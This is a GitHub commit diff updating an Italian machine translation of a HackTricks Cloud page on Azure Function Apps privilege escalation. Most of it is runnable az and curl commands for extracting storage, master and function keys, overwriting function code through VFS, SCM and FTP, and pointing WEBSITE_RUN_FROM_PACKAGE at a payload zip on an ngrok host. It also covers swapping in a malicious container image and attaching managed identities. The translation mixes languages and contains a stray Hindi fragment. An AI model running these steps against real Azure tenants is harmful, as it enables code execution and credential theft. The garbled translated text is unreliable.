mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
+80
-59
@@ -4,7 +4,7 @@
|
||||
|
||||
## Function Apps
|
||||
|
||||
Consulta la pagina seguente per maggiori informazioni:
|
||||
Controlla la seguente pagina per maggiori informazioni:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-function-apps.md
|
||||
@@ -14,13 +14,13 @@ Consulta la pagina seguente per maggiori informazioni:
|
||||
|
||||
Con i permessi per leggere i container all'interno dello Storage Account che memorizza i dati della function, è possibile trovare **diversi container** (personalizzati o con nomi predefiniti) che potrebbero contenere **il codice eseguito dalla function**.
|
||||
|
||||
Una volta individuata la posizione del codice della function, se si hanno permessi di scrittura su di esso è possibile far eseguire qualsiasi codice alla function e escalation dei privilegi verso le managed identities associate alla function.
|
||||
Una volta trovato dove si trova il codice della function, se hai permessi di scrittura su di esso, puoi fare in modo che la function esegua qualsiasi codice ed elevare i privilegi alle managed identities collegate alla function.
|
||||
|
||||
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`
|
||||
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`
|
||||
|
||||
Il codice della function è solitamente memorizzato in un file share. Con accesso sufficiente è possibile modificare il file di codice e **forzare la function a caricare codice arbitrario**, consentendo di escalare i privilegi alle managed identities associate alla Function.
|
||||
Il codice della function è solitamente memorizzato all'interno di un file share. Con accesso sufficiente è possibile modificare il file di codice e **far caricare alla function codice arbitrario**, consentendo di elevare i privilegi alle managed identities collegate alla Function.
|
||||
|
||||
Questo metodo di deployment solitamente configura le impostazioni **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** e **`WEBSITE_CONTENTSHARE`**, che puoi ottenere da
|
||||
Questo metodo di deployment di solito configura le impostazioni **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** e **`WEBSITE_CONTENTSHARE`** che puoi ottenere da
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
@@ -29,9 +29,9 @@ az functionapp config appsettings list \
|
||||
Quelle configurazioni conterranno la **Storage Account Key** che la Function può usare per accedere al codice.
|
||||
|
||||
> [!CAUTION]
|
||||
> Con permessi sufficienti per connettersi al File Share e **modify the script** in esecuzione, è possibile eseguire codice arbitrario nella Function e scalare i privilegi.
|
||||
> Con permessi sufficienti per connettersi al File Share e **modificare lo script** in esecuzione, è possibile eseguire codice arbitrario nella Function ed escalare i privilegi.
|
||||
|
||||
L'esempio seguente usa macOS per connettersi al file share, ma è consigliato consultare anche la seguente pagina per maggiori informazioni sui file share:
|
||||
L’esempio seguente usa macOS per connettersi al file share, ma è consigliato controllare anche la seguente pagina per maggiori informazioni sui file share:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-file-shares.md
|
||||
@@ -47,26 +47,26 @@ open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
|
||||
```
|
||||
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
|
||||
|
||||
È anche comune trovare le **zip releases** nella cartella `function-releases` del Storage Account container che la function app sta usando, in un container **di solito chiamato `function-releases`**.
|
||||
È anche comune trovare le **zip releases** dentro la cartella `function-releases` del container dello Storage Account che la function app sta usando, in un container **di solito chiamato `function-releases`**.
|
||||
|
||||
Di solito questo metodo di deployment imposterà la configurazione `WEBSITE_RUN_FROM_PACKAGE` in:
|
||||
Di solito questo metodo di deployment imposterà la config `WEBSITE_RUN_FROM_PACKAGE` in:
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
```
|
||||
Questa configurazione di solito conterrà una **SAS URL per scaricare** il codice dal Storage Account.
|
||||
Questo config conterrà solitamente un **SAS URL per scaricare** il codice dallo Storage Account.
|
||||
|
||||
> [!CAUTION]
|
||||
> Con permessi sufficienti per connettersi al blob container che **contiene il codice in formato zip** è possibile eseguire codice arbitrario nella Function e scalare i privilegi.
|
||||
> Con permessi sufficienti per connettersi al blob container che **contiene il codice in zip** è possibile eseguire codice arbitrario nella Function e fare privilege escalation.
|
||||
|
||||
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE`)
|
||||
|
||||
Proprio come nel caso precedente, se il deployment è eseguito tramite Github Actions è possibile trovare la cartella **`github-actions-deploy`** nello Storage Account contenente uno zip del codice e una SAS URL allo zip nell'impostazione `WEBSITE_RUN_FROM_PACKAGE`.
|
||||
Proprio come nel caso precedente, se il deployment viene fatto tramite Github Actions è possibile trovare la cartella **`github-actions-deploy`** nello Storage Account contenente uno zip del codice e un SAS URL allo zip nel setting `WEBSITE_RUN_FROM_PACKAGE`.
|
||||
|
||||
- **`scm-releases`**(`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`)
|
||||
|
||||
Con i permessi per leggere i container all'interno dello Storage Account che memorizza i dati della Function è possibile trovare il container **`scm-releases`**. Lì è possibile trovare l'ultima release in **Squashfs filesystem file format** e quindi è possibile leggere il codice della Function:
|
||||
Con i permessi per leggere i container all'interno dello Storage Account che memorizza i dati della function è possibile trovare il container **`scm-releases`**. Lì è possibile trovare l'ultima release in formato file system **Squashfs filesystem file format** e quindi è possibile leggere il codice della function:
|
||||
```bash
|
||||
# List containers inside the storage account of the function app
|
||||
az storage container list \
|
||||
@@ -98,10 +98,10 @@ unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
|
||||
mkdir /tmp/fs
|
||||
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
|
||||
```
|
||||
It's also possible to find the **master and functions keys** stored in the storage account in the container **`azure-webjobs-secrets`** inside the folder **`<app-name>`** in the JSON files you can find inside.
|
||||
È anche possibile trovare le **master and functions keys** memorizzate nell'account di storage nel container **`azure-webjobs-secrets`** all'interno della cartella **`<app-name>`** nei file JSON che puoi trovare al suo interno.
|
||||
|
||||
> [!CAUTION]
|
||||
> Con permessi sufficienti per connettersi al blob container che **contiene il codice in un file di estensione zip** (che in realtà è un **`squashfs`**) è possibile eseguire codice arbitrario nella Function e elevare i privilegi.
|
||||
> Con permessi sufficienti per connettersi al blob container che **contiene il code in un file con estensione zip** (che in realtà è un **`squashfs`**) è possibile eseguire codice arbitrario nella Function ed eseguire privilege escalation.
|
||||
```bash
|
||||
# Modify code inside the script in /tmp/fs adding your code
|
||||
|
||||
@@ -118,11 +118,11 @@ az storage blob upload \
|
||||
```
|
||||
### `Microsoft.Web/sites/host/listkeys/action`
|
||||
|
||||
Questa autorizzazione consente di elencare le chiavi function, master e system, ma non la chiave host, della funzione specificata con:
|
||||
Questo permission consente di elencare le function, master e system keys, ma non quella host, della function specificata con:
|
||||
```bash
|
||||
az functionapp keys list --resource-group <res_group> --name <func-name>
|
||||
```
|
||||
Con la master key è anche possibile ottenere il codice sorgente in un URL come:
|
||||
Con la master key è anche possibile ottenere il source code in un URL come:
|
||||
```bash
|
||||
# Get "script_href" from
|
||||
az rest --method GET \
|
||||
@@ -135,7 +135,7 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func
|
||||
# JavaScript function app example
|
||||
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v
|
||||
```
|
||||
E per **modificare il codice che viene eseguito** nella funzione con:
|
||||
E per **cambiare il codice che viene eseguito** nella function con:
|
||||
```bash
|
||||
# Set the code to set in the function in /tmp/function_app.py
|
||||
## Python function app example
|
||||
@@ -154,32 +154,32 @@ curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot
|
||||
```
|
||||
### `Microsoft.Web/sites/functions/listKeys/action`
|
||||
|
||||
Questa autorizzazione permette di ottenere la chiave predefinita della funzione specificata con:
|
||||
Questo permesso consente di ottenere la default key della function specificata con:
|
||||
```bash
|
||||
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
|
||||
```
|
||||
Invoca la funzione usando la chiave predefinita ottenuta:
|
||||
Invoca la function usando la key di default ottenuta:
|
||||
```bash
|
||||
curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"
|
||||
```
|
||||
### `Microsoft.Web/sites/host/functionKeys/write`
|
||||
|
||||
Questa autorizzazione consente di creare/aggiornare una chiave della funzione specificata con:
|
||||
Questo permesso consente di creare/aggiornare una function key della function specificata con:
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
### `Microsoft.Web/sites/host/masterKey/write`
|
||||
|
||||
Questa autorizzazione permette di creare/aggiornare una master key per la funzione specificata con:
|
||||
Questo permesso consente di creare/aggiornare una master key per la funzione specificata con:
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Ricorda che con questa chiave puoi anche accedere al codice sorgente e modificarlo come spiegato prima!
|
||||
> Ricorda che con questa chiave puoi anche accedere al codice sorgente e modificarlo, come spiegato prima!
|
||||
|
||||
### `Microsoft.Web/sites/host/systemKeys/write`
|
||||
|
||||
Questa autorizzazione consente di creare/aggiornare una chiave di funzione di sistema per la funzione specificata con:
|
||||
This permission allows to create/update a system function key to the specified function with:
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
@@ -193,28 +193,28 @@ curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<syst
|
||||
```
|
||||
### `Microsoft.Web/sites/config/list/action`
|
||||
|
||||
Questa autorizzazione consente di ottenere le impostazioni di una function. All'interno di queste configurazioni potrebbe essere possibile trovare i valori predefiniti **`AzureWebJobsStorage`** o **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**, che contengono una chiave dell'account per accedere allo blob storage della function con permessi FULL.
|
||||
Questo permission consente di ottenere le impostazioni di una function. All'interno di queste configurazioni potrebbe essere possibile trovare i valori predefiniti **`AzureWebJobsStorage`** o **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** che contengono una **account key per accedere allo blob storage della function con permessi FULL**.
|
||||
```bash
|
||||
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
|
||||
```
|
||||
Inoltre, questo permesso consente anche di recuperare le **SCM username and password** (se abilitate) con:
|
||||
Inoltre, questo permesso consente anche di ottenere lo **SCM username e password** (se abilitati) con:
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
|
||||
```
|
||||
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
|
||||
|
||||
Questi permessi consentono di elencare i valori di configurazione di una funzione come abbiamo visto prima, oltre a **modificare questi valori**. Questo è utile perché queste impostazioni indicano dove si trova il codice da eseguire all'interno della funzione.
|
||||
Questi permessi permettono di elencare i valori di configurazione di una function, come abbiamo visto prima, oltre a **modificare questi valori**. Questo è utile perché queste impostazioni indicano dove si trova il codice da eseguire all'interno della function.
|
||||
|
||||
È quindi possibile impostare il valore dell'impostazione **`WEBSITE_RUN_FROM_PACKAGE`** puntando a un URL che contiene un file zip con il nuovo codice da eseguire all'interno di un'applicazione web:
|
||||
È quindi possibile impostare il valore dell'impostazione **`WEBSITE_RUN_FROM_PACKAGE`** puntando a un file zip URL contenente il nuovo codice da eseguire all'interno di una web application:
|
||||
|
||||
- Start by getting the current config
|
||||
- Inizia ottenendo la config corrente
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-name>
|
||||
```
|
||||
- Crea il codice che vuoi che la funzione esegua e ospitalo pubblicamente
|
||||
- Crea il codice che vuoi che la function esegua e ospitalo pubblicamente
|
||||
```bash
|
||||
# Write inside /tmp/web/function_app.py the code of the function
|
||||
cd /tmp/web/function_app.py
|
||||
@@ -224,9 +224,9 @@ python3 -m http.server
|
||||
# Serve it using ngrok for example
|
||||
ngrok http 8000
|
||||
```
|
||||
- Modifica la funzione, mantieni i parametri precedenti e aggiungi alla fine la config **`WEBSITE_RUN_FROM_PACKAGE`** che punti all'URL con lo **zip** contenente il codice.
|
||||
- Modifica la function, mantieni i parametri precedenti e aggiungi alla fine la config **`WEBSITE_RUN_FROM_PACKAGE`** che punta all'URL con lo **zip** contenente il codice.
|
||||
|
||||
La seguente è un esempio delle mie **impostazioni personali — dovrai sostituire i valori con i tuoi**, nota alla fine il valore `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, è lì che ospitavo l'app.
|
||||
Il seguente è un esempio delle mie **impostazioni personali, dovrai cambiare i valori con i tuoi**; nota alla fine i valori `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, qui stavo ospitando l'app.
|
||||
```bash
|
||||
# Modify the function
|
||||
az rest --method PUT \
|
||||
@@ -236,7 +236,7 @@ az rest --method PUT \
|
||||
```
|
||||
### `Microsoft.Web/sites/hostruntime/vfs/write`
|
||||
|
||||
Con questo permesso è **possibile modificare il codice di un'applicazione** tramite la web console (o tramite il seguente API endpoint):
|
||||
Con questo permission è **possibile modificare il codice di un'application** tramite la web console (o tramite il seguente API endpoint):
|
||||
```bash
|
||||
# This is a python example, so we will be overwritting function_app.py
|
||||
# Store in /tmp/body the raw python code to put in the function
|
||||
@@ -266,7 +266,7 @@ body: responseMessage
|
||||
```
|
||||
### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)
|
||||
|
||||
Questi permessi consentono di elencare tutti i publishing profiles che contengono fondamentalmente **basic auth credentials**:
|
||||
Questi permessi permettono di elencare tutti i publishing profiles che contengono essenzialmente **basic auth credentials**:
|
||||
```bash
|
||||
# Get creds
|
||||
az functionapp deployment list-publishing-profiles \
|
||||
@@ -274,15 +274,15 @@ az functionapp deployment list-publishing-profiles \
|
||||
--resource-group <res-name> \
|
||||
--output json
|
||||
```
|
||||
Un'altra opzione è impostare i tuoi creds e usarli con:
|
||||
Un'altra opzione sarebbe impostare le proprie credenziali e usarle con:
|
||||
```bash
|
||||
az functionapp deployment user set \
|
||||
--user-name DeployUser123456 g \
|
||||
--password 'P@ssw0rd123!'
|
||||
```
|
||||
- Se **REDACTED** credentials
|
||||
- Se le credenziali **REDACTED**
|
||||
|
||||
Se vedi che quelle credentials sono **REDACTED**, è perché **devi abilitare l'opzione di autenticazione di base SCM** e per questo ti serve il secondo permesso (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
|
||||
Se vedi che quelle credenziali sono **REDACTED**, è perché **devi abilitare l'opzione di autenticazione di base SCM** e per farlo ti serve il secondo permesso (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
|
||||
```bash
|
||||
# Enable basic authentication for SCM
|
||||
az rest --method PUT \
|
||||
@@ -304,24 +304,45 @@ az rest --method PUT \
|
||||
```
|
||||
- **Method SCM**
|
||||
|
||||
Quindi puoi accedere con queste **basic auth credentials to the SCM URL** della tua function app e ottenere i valori delle env variables:
|
||||
Quindi, puoi accedere con queste **credenziali basic auth all'URL SCM** della tua function app e ottenere i valori delle variabili di ambiente:
|
||||
```bash
|
||||
# Get settings values
|
||||
curl -u '<username>:<password>' \
|
||||
https://<app-name>.scm.azurewebsites.net/api/settings -v
|
||||
|
||||
# Deploy code to the funciton
|
||||
zip function_app.zip function_app.py # Your code in function_app.py
|
||||
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
|
||||
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
|
||||
```
|
||||
_Nota che il **SCM username** è solitamente il carattere "$" seguito dal nome dell'app, quindi: `$<app-name>`._
|
||||
Puoi scaricare, modificare e caricare nuovo codice function :
|
||||
```bash
|
||||
# download
|
||||
curl -u '<username>:<password>' -X GET \
|
||||
https://<app-name>.scm.azurewebsites.net/api/zip/site/wwwroot/ \
|
||||
-o current_function_code.zip
|
||||
|
||||
unzip current_function_code.zip -d updated_code/
|
||||
cd updated_code/
|
||||
#... modify the function code
|
||||
zip -r ../updated_function_app.zip .
|
||||
cd ../
|
||||
|
||||
# upload
|
||||
curl -u '<username>:<password>' https://<app-name>.scm.azurewebsites.net/api/zipdeploy -X POST --data-binary @updated_function_app.zip -v
|
||||
```
|
||||
Puoi anche caricare un file specifico :
|
||||
```bash
|
||||
curl -u '<username>:<password>' \
|
||||
-X PUT \
|
||||
-H "Content-Type: application/javascript" \
|
||||
-H "If-Match: *" \
|
||||
--data-binary "@./my_local_payload.js" \
|
||||
"https://<app-name>.scm.azurewebsites.net/api/vfs/site/wwwroot/hello-world/index.js" # example NodeJS file
|
||||
```
|
||||
_Note that the **SCM username** is usually the char "$" followed by the name of the app, so: `$<app-name>`._
|
||||
|
||||
Puoi anche accedere alla pagina web da `https://<app-name>.scm.azurewebsites.net/BasicAuth`
|
||||
|
||||
I valori delle impostazioni contengono l'**AccountKey** dello storage account che memorizza i dati della function app, consentendo di controllare tale storage account.
|
||||
I valori delle impostazioni contengono la **AccountKey** dell'account di storage che memorizza i dati della function app, consentendo di controllare quell'account di storage.
|
||||
|
||||
- **Metodo FTP**
|
||||
- **Method FTP**
|
||||
|
||||
Connettiti al server FTP usando:
|
||||
```bash
|
||||
@@ -337,19 +358,19 @@ ls # List
|
||||
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
|
||||
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
|
||||
```
|
||||
_Nota che il **FTP username** è solitamente nel formato \<app-name>\\$\<app-name>._
|
||||
_Note that the **FTP username** is usually in the format \<app-name>\\$\<app-name>._
|
||||
|
||||
### `Microsoft.Web/sites/hostruntime/vfs/read`
|
||||
|
||||
Questa autorizzazione consente di **leggere il codice sorgente** dell'app tramite la VFS:
|
||||
Questo permesso consente di **leggere il codice sorgente** dell'app tramite il VFS:
|
||||
```bash
|
||||
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
||||
```
|
||||
### `Microsoft.Web/sites/functions/token/action`
|
||||
|
||||
Con questo permesso è possibile [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) che può poi essere usato per recuperare la **master key** e quindi accedere e modificare il codice della function.
|
||||
Con questo permission è possibile [ottenere il **token di admin**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) che può poi essere usato per recuperare la **master key** e quindi accedere e modificare il codice della function.
|
||||
|
||||
Tuttavia, nei miei ultimi controlli non è stato restituito alcun token, quindi potrebbe essere disabilitato o non funzionare più, ma ecco come procederesti:
|
||||
Tuttavia, nelle mie ultime verifiche non veniva restituito alcun token, quindi potrebbe essere disabilitato o non funzionare più, ma ecco come lo faresti:
|
||||
```bash
|
||||
# Get admin token
|
||||
az rest --method GET \
|
||||
@@ -361,7 +382,7 @@ curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
|
||||
```
|
||||
### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)
|
||||
|
||||
Questi permessi permettono di **abilitare le functions** che potrebbero essere disabilitate (o di disabilitarle).
|
||||
Questi permessi permettono di **abilitare funzioni** che potrebbero essere disabilitate (o disabilitarle).
|
||||
```bash
|
||||
# Enable a disabled function
|
||||
az functionapp config appsettings set \
|
||||
@@ -369,13 +390,13 @@ az functionapp config appsettings set \
|
||||
--resource-group <res-group> \
|
||||
--settings "AzureWebJobs.http_trigger1.Disabled=false"
|
||||
```
|
||||
È anche possibile verificare se una funzione è abilitata o disabilitata nell'URL seguente (usando il permesso indicato tra parentesi):
|
||||
È anche possibile vedere se una function è abilitata o disabilitata nel seguente URL (usando il permission tra parentesi):
|
||||
```bash
|
||||
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
|
||||
```
|
||||
### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
|
||||
|
||||
Con queste autorizzazioni è possibile **modificare il container eseguito da un function app** configurato per eseguire un container. Questo permetterebbe a un attacker di caricare su docker hub (per esempio) un malicious azure function container app e far sì che la function lo esegua.
|
||||
Con questi permessi è possibile **modificare il container eseguito da una function app** configurata per eseguire un container. Questo permetterebbe a un attacker di caricare un malicious azure function container app su docker hub (per esempio) e fare in modo che la function lo esegua.
|
||||
```bash
|
||||
az functionapp config container set --name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
@@ -383,29 +404,29 @@ az functionapp config container set --name <app-name> \
|
||||
```
|
||||
### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)
|
||||
|
||||
Con queste autorizzazioni è possibile assegnare una nuova user managed identity a una Function. Se la Function fosse compromessa, questo permetterebbe l'escalation dei privilegi verso qualsiasi user managed identity.
|
||||
Con questi permessi è possibile **attaccare una nuova user managed identity a una function**. Se la function fosse compromessa, ciò consentirebbe di aumentare i privilegi verso qualsiasi user managed identity.
|
||||
```bash
|
||||
az functionapp identity assign \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
|
||||
```
|
||||
### Debug remoto
|
||||
### Remote Debugging
|
||||
|
||||
È anche possibile connettersi per eseguire il debug di una Azure Function in esecuzione, come [**spiegato nella documentazione**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Tuttavia, per impostazione predefinita Azure disattiva questa opzione dopo 2 giorni nel caso lo sviluppatore si dimentichi, per evitare di lasciare configurazioni vulnerabili.
|
||||
È anche possibile connettersi per eseguire il debug di una Azure function in esecuzione come [**spiegato nella documentazione**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Tuttavia, per impostazione predefinita Azure disattiverà questa opzione dopo 2 giorni nel caso in cui lo sviluppatore si dimentichi di evitare di lasciare configurazioni vulnerabili.
|
||||
|
||||
È possibile verificare se una Function ha il debugging abilitato con:
|
||||
```bash
|
||||
az functionapp show --name <app-name> --resource-group <res-group>
|
||||
```
|
||||
Avendo il permesso `Microsoft.Web/sites/config/write`, è anche possibile mettere una funzione in modalità di debug (il seguente comando richiede anche i permessi `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` e `Microsoft.Web/sites/Read`).
|
||||
Avendo il permesso `Microsoft.Web/sites/config/write` è anche possibile mettere una function in modalità debugging (il seguente comando richiede anche i permessi `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` e `Microsoft.Web/sites/Read`).
|
||||
```bash
|
||||
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
|
||||
```
|
||||
### Cambiare Github repo
|
||||
### Change Github repo
|
||||
|
||||
Ho provato a cambiare il repo Github da cui avviene il deploy eseguendo i comandi seguenti ma anche se è cambiato, **il nuovo codice non è stato caricato** (probabilmente perché si aspetta che la Github Action aggiorni il codice).\
|
||||
Inoltre, la **managed identity federated credential wasn't updated** che avrebbe permesso il nuovo repository, quindi sembra che questo non sia molto utile.
|
||||
Ho provato a cambiare il Github repo da cui avviene il deploy eseguendo i seguenti comandi, ma anche se fosse cambiato, **il nuovo codice non è stato caricato** (probabilmente perché si aspetta che il Github Action aggiorni il codice).\
|
||||
Inoltre, la **managed identity federated credential non è stata aggiornata** per अनुमतिire il nuovo repository, quindi sembra che questo non sia molto utile.
|
||||
```bash
|
||||
# Remove current
|
||||
az functionapp deployment source delete \
|
||||
|
||||
Reference in New Issue
Block a user